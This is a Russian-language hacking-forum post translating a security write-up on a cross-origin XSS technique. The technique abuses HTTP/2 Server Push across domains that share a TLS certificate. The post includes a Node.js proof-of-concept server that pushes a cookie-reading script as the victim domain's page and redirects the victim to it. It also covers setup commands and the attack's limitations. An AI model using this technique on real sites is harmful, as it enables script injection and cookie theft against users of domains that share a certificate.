Загрузка...

[Перевод] Волшебный способ XSS в HTTP/2

Тема в разделе Веб уязвимости создана пользователем дабстеп 20 авг 2022. (поднята 14 сен 2022) 711 просмотров

  1. дабстеп
    дабстеп Автор темы 20 авг 2022 Заблокирован(а) 124 31 авг 2017
    В случае с общими сертификатами, если у нас есть контроль над одним из доменных имен и его сертификат, мы можем создать сервер HTTP/2 с помощью механизма HTTP/2 Server Push, что может привести к появлению сайтов HTTP/2 под другим общим сертификатом. доменные имена не будут работать. Global XSS


    Условия использования:

    • Совместное использование сертификата: оба доменных имени должны иметь общий сертификат
    • HTTP/2: целевой сервер должен поддерживать HTTP/2.
    • Получено право собственности на доменное имя и соответствующий сертификат
    HTTP/2 && Push-уведомление сервера

    Механизм Server Push — это новая функция в протоколе HTTP/2.Мы можем кратко понять предысторию и рабочий механизм HTTP/2 и Server Push.

    Background

    HTTP, протокол передачи гипертекста, является основой для передачи данных по сети. HTTP/1.1 хорошо зарекомендовал себя в течение своего жизненного цикла, но с развитием Интернета его протокол не смог удовлетворить требования к производительности современных веб-приложений. Хотя HTTP/1.1 пытается добавить такие механизмы, как Pipline для оптимизации параллелизма и другие проблемы, он по-прежнему не может решить такие проблемы, как блокировка начала очереди, отправка дублирующихся данных заголовков и низкая эффективность использования одного TCP-канала, что приводит к снижению производительности сети.


    HTTP/2 — это первое крупное обновление протокола HTTP с тех пор, как HTTP/1.1 был впервые опубликован IETF в 1997 году, и оно обеспечивает значительные улучшения по сравнению с предыдущими версиями, предлагая множество новых функций, функций безопасности и т. д. Например, новый формат двоичных сообщений, мультиплексирование, сжатие заголовков, отправка на сервер и другие функции, сегодня мы в основном представляем эту функцию — это отправка на сервер (Server Push).


    Просмотр в HTTP/1.x

    Давайте сначала посмотрим на рабочий процесс без Server Push в общем процессе веб-доступа:
    1. Сначала браузер запрашивает с сервера главную страницу index.html, а сервер отвечает содержимым index.html.
    2. После того, как браузер получает ответ от домашней страницы, он начинает анализировать html-тег домашней страницы и обнаруживает, что для построения дерева DOM необходимы CSS/GIF/JS и другие ресурсы.
    3. Инициировать запрос контента для CSS/GIF/JS на сервер
    4. Браузер извлекает и анализирует содержимое, такое как JS и CSS, а затем переходит к запросу зависимых ресурсов.

    [IMG]

    Это традиционный метод запроса веб-страницы, но мы также можем увидеть некоторые проблемы из-за него. Например, для современных веб-страниц требуется как минимум два раунда связи HTTP для полной загрузки страницы, и если вы столкнетесь с сетевыми проблемами при запросе CSS-файлы или файл слишком велик, это приведет к загромождению содержимого страницы и значительно ухудшит работу пользователя.
    Конечно, в настоящее время существуют некоторые решения, такие как слияние внешних ресурсов с веб-файлами для сокращения HTTP-запросов, например размещение изображений в URI в формате Base64 или использование предварительной загрузки.

    Оба метода имеют недостатки. Хотя первый способ сокращает количество HTTP-запросов, он нарушает принцип разделения труда, объединяя в одном файле разные типы кодов. Второй метод просто увеличивает время загрузки и не уменьшает HTTP-запросы.

    Что такое push-сервер


    Сервер HTTP/2 push позволяет серверу, совместимому с HTTP/2, отправлять ресурсы клиенту, совместимому с HTTP/2, до того, как клиент запросит ресурс. Server Push — это метод повышения производительности, предназначенный для уменьшения задержки за счет упреждающей загрузки ресурсов, даже до того, как клиент узнает, что они будут запрошены.

    Например, браузер запрашивает только index.html, но сервер отправит браузеру все файлы index.html/style.css/example.png, так что потребуется только один раунд HTTP-связи, и браузер получит все ресурсов, тем самым повышая производительность.

    Но отправка сервера HTTP/2 не является механизмом уведомления от сервера к клиенту, вместо этого клиент использует переданный ресурс, когда клиент может сделать запрос на получение ресурса.


    Как это работает?

    Давайте кратко рассмотрим рабочий процесс Server Push:
    1. Сначала браузер запрашивает с сервера главную страницу index.html, а сервер отвечает содержимым index.html.
    2. В то же время сервер предсказывает, что клиенту необходимо запросить статические ресурсы, такие как styles.css, а затем отправляет содержимое styles.css клиенту без запроса клиентом стилей.css.
    3. Браузер по очереди получает содержимое, такое как index.html/styles.css, и завершает синтаксический анализ древовидной структуры DOM.
    [IMG]

    Конечно, приведенный выше «прогноз» требует некоторой простой настройки сервера, например, если мы используем Nginx, нам нужно использовать его в Nginx. http2_push Настройте следующим образом:
    Код
    server {
    listen 443 ssl http2;
    server_name _;
    ssl_certificate /parth/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    root /var/www/html/;

    http2_push /styles.css;
    location = / {
    index index.html;
    }
    }
    После того, как сервер готов к HTTP/2 Push, когда сервер получает запрос на index.html, сервер может «предсказать», что клиент должен затем сделать запрос на ресурсы, такие как styles.css. Кратко проанализируем из пакета трафика:




      • Сервер получает фрейм HEADERS, запрашивающий index.html в Stream ID 1, он может «предсказать» потребность в стилях.css и отправить стили.css в соответствии с конфигурацией сервера.
      • Сервер снова отправляет PUSH_PROMISE для styles.css в Stream ID 1, эти кадры примерно эквивалентны запросу браузера.
      • Сервер отправляет кадр HEADERS в Stream ID 1 в ответ на запрос index.html.
      • Сервер отправляет кадр DATA с содержимым index.html, все еще в Stream ID 1
      • Сервер отправляет кадр HEADERS в ответ на styles.css в потоке 2 (HEADERS[2]/DATA[2])
    [IMG]
    Нам нужно поместить соответствующие загруженные ресурсы в index.html, чтобы увидеть, как Chrome отображает push-ресурсы, например:
    HTML
    <head><link rel="icon" href="data:,"><link rel="stylesheet" href="styles.css"></head>

    This is push index



    Где ошибка?

    Поскольку это push-ресурс, что, если мы загрузим какие-то другие ресурсы через домены? Можно ли также добиться через Push? В конце концов, междоменные запросы к некоторым CSS/JS и другим ресурсам сегодня очень распространены в Интернете, так что же делать в HTTP/2 Push?

    В некоторых материалах китайского Интернета некоторые материалы явно говорят «нет», некоторые говорят «да», и, наконец, нашел ответ в HTTP/2 push, это сложнее, чем я думал, блог:


    Мы вернемся к HTTP/2 RFC 7540#Section-8.2:


    Хотя в RFC нет четкого указания на то, что вы можете отправлять междоменные ресурсы, вы должны проверить ресурсы Push. И в соответствии с приведенным выше содержанием блога, хотя мы не можем передавать какие-либо (любые) ресурсы домена, мы можем передавать ресурсы других доменных имен в соответствии с общим доступом к сертификату, если настройки хороши. Просто сделай это.

    Тестируем!

    Сначала мы используем mkcert для создания общего доменного сертификата для тестирования:


    Код
    mkcert -key-file key.pem -cert-file cert.pem a.zedd.ovo b.zedd.ovo
    Создайте сервер HTTP/2 со следующим кодом nodejs:

    Код
    const http2 = require("http2");
    const path = require("path");
    const fs = require("fs");

    const { HTTP2_HEADER_PATH, HTTP2_HEADER_AUTHORITY } = http2.constants;

    const MAIL_DOMAIN = "b.zedd.ovo";
    const EXPLOIT_DOMAIN = "a.zedd.ovo";

    const server = http2.createSecureServer(
    {
    cert: fs.readFileSync(path.join(__dirname, "cert.pem")),
    key: fs.readFileSync(path.join(__dirname, "key.pem")),
    origins: [`https://${EXPLOIT_DOMAIN}`, `https://${MAIL_DOMAIN}`],
    },
    (req, res) => {
    if (req.url === "/") {
    res.end("This is the HTTP/2 Server\n");
    } else if (req.url === "/set") {
    res.setHeader("Set-Cookie", `mycookie=test; domain=${MAIL_DOMAIN}; path=/; expires=${new Date(Date.now() + 60 * 1000).toUTCString()}`);
    res.end("Set cookie: mycookie=test\n");
    } else if (req.url === "/csp") {
    res.setHeader("Content-Security-Policy", "default-src 'self'");
    res.end("Set CSP\n");
    } else if (req.url === "/push") {
    res.stream.pushStream(
    {
    [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN,
    [HTTP2_HEADER_PATH]: "/",
    },
    (err, pushStream, headers) => {
    console.log("push");
    pushStream.on("error", console.error);

    let content = "<script>alert(document.cookie);</script>";

    pushStream.respond({
    "content-length": content.length,
    "content-type": "text/html",
    });

    pushStream.end(content);
    }
    );

    let content = `<meta http-equiv="refresh" content="1;url=https://${MAIL_DOMAIN}/" />`;

    res.stream.respond({
    "content-length": content.length,
    "content-type": "text/html",
    });
    res.stream.end(content);
    }
    }
    );

    server.listen(443);


    Ключевым моментом является то, что нам нужно установить [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAINПоле проверки подлинности сертификата должно соответствовать имени домена в совместном использовании сертификата.


    Все, что нам нужно сделать, это:


    1. Сначала посетите https://b.zedd.ovo/set, чтобы установить файл cookie для доменного имени b.
    2. Посетите https://a.zedd.ovo/push, чтобы позволить серверу использовать ресурсы доменного имени b.

    Предположим сценарий, мы контролируем a.zedd.ovo и имеем сертификат, а доменное имя разделяет сертификат с b.zedd.ovo, что происходит дальше:

    1. Через https://b.zedd.ovo/set , ограничен политикой того же происхождения, мы не можем получить файл cookie домена b с a.zedd.ovo.
    2. Через доступ жертвы к https://a.zedd.ovo/push мы проталкиваем ресурс домена b через HTTP/2 Push и устанавливаем обновление на станции a для перехода на станцию b. В это время, поскольку он находится на станции a, даже если он не перейдет сразу, браузер не будет загружать ресурсы, которые мы выдвигаем, потому что принадлежит станции b и может быть загружен только на станции b.
    3. После того, как жертва перейдет на станцию b, браузер попытается загрузить только что запушенный ресурс, проверьте и другие элементы, выполнить требования загрузки текущего доменного имени, загрузить скрипт и завершить атаку

    Резюме

    Хотя кажется, что эта атака больше Магическая, о преимуществах больше говорить не приходится, но если хорошенько подумать, ограничения все же относительно велики:
    1. CSP по-прежнему может быть ограничен: поскольку исполняемый ресурс все еще находится в контексте атакуемой страницы, он все равно будет ограничен, если в атакованном домене все еще есть CSP.
    2. Предпосылок слишком много: требуемые права управления доменным именем, требования к сертификатам и т. д. относительно ограничены.
    3. Статус и будущее HTTP/2 Server Push:
    4. HTTP/2 Server Push — это параметр клиента, который в настоящее время включен по умолчанию. Будет ли этот параметр включен во время согласования рукопожатия между клиентом и сервером. Некоторые CDN не поддерживают Server Push
    5. Хотя механизм Server Push выглядит великолепно, на практике этот механизм часто приводит к потере полосы пропускания, поскольку сервер редко знает, какие ресурсы загружены клиентом, и передает один и тот же ресурс несколько раз.
    6. Chrome намерен удалить поддержку по умолчанию для HTTP/2 Server Push в будущем.

    Конечно, использование этого механизма касается не только XSS, и я думаю, что проблема Push может заключаться не только в этом.

    Оригинал - https://tttang.com/archive/1703/ ( Не реклама )
    Отдельная благодарность
    Jolah Milovski за перевод!
     
    20 авг 2022 Изменено
  2. Lol_ya_nn
    Lol_ya_nn 20 авг 2022 . 1031 11 окт 2020
    крутая статья, но на форуме не хватает крутых уязвимостей типа LFI RFI SSFI и тд
     
Загрузка...
Top